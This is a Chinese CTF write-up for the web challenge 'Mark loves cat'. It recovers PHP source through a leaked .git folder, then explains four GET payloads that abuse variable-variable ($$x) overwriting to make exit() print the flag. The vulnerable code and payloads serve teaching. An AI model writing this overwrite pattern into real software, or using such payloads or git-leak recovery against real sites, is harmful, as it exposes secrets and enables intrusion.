WEB-Mark loves cat

githack下载网站备份文件，得到源码

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

本题思路为变量覆盖：

当使用post方法传参yds=flag时，下述代码中会用键值配对，$x='yds'，$y='flag'，$$x=$yds='flag'，这样就实现了变量$yds的覆盖。

foreach($_POST as $x => $y){
    $$x = $y;
}

当使用get方法传参yds=flag时，下述代码中$x='yds'，$y='flag'，$$x=$yds，$$y=$flag，最终结果为$yds=$flag，实现把$flag变量的值赋值给$yds

foreach($_GET as $x => $y){
    $$x = $$y;
}

解法一

绕过所有exit，直接echo $flag。

get方法传参：

?11=flag&flag=11

foreach($_GET as $x => $y){
    $$x = $$y;
}
// $11 = $flag;
// $flag = $11;这样没有改变变量flag的值

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
// 此时第一轮取值时$x=11，$y='flag'，这里的11为整数不是字符串，而$_GET['flag']取出的值为'11'，实际上为字符串，这样就绕过了第一个exit

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
// get方式设置了flag参数，绕过第二个exit

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
// get传参的flag值为'11'，绕过第三个exit

echo "the flag is: ".$flag;

解法二

利用exit($handsome)打印flag值

get方式传参：

?handsome=flag&flag=handsome

foreach($_GET as $x => $y){
    $$x = $$y;
}
// $handsome = $flag;
// $flag = $handsome;这样没有改变变量flag的值

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
// $x='handsome'，$_GET['flag']为handsome，相等。$x不等于'flag'，exit直接打印$flag。

解法三

利用exit($yds)打印flag

get方式传参：

?yds=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}
// $yds = $flag;

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
// get与post均为设置flag参数，直接exit($yds)，相当于eixt($flag)

解法四

利用exit($is)打印flag

get方式传参：

?is=flag&flag=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}
// $is = $flag;
// $flag = $flag;

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
// get方式设置flag参数，执行exit打印flag值。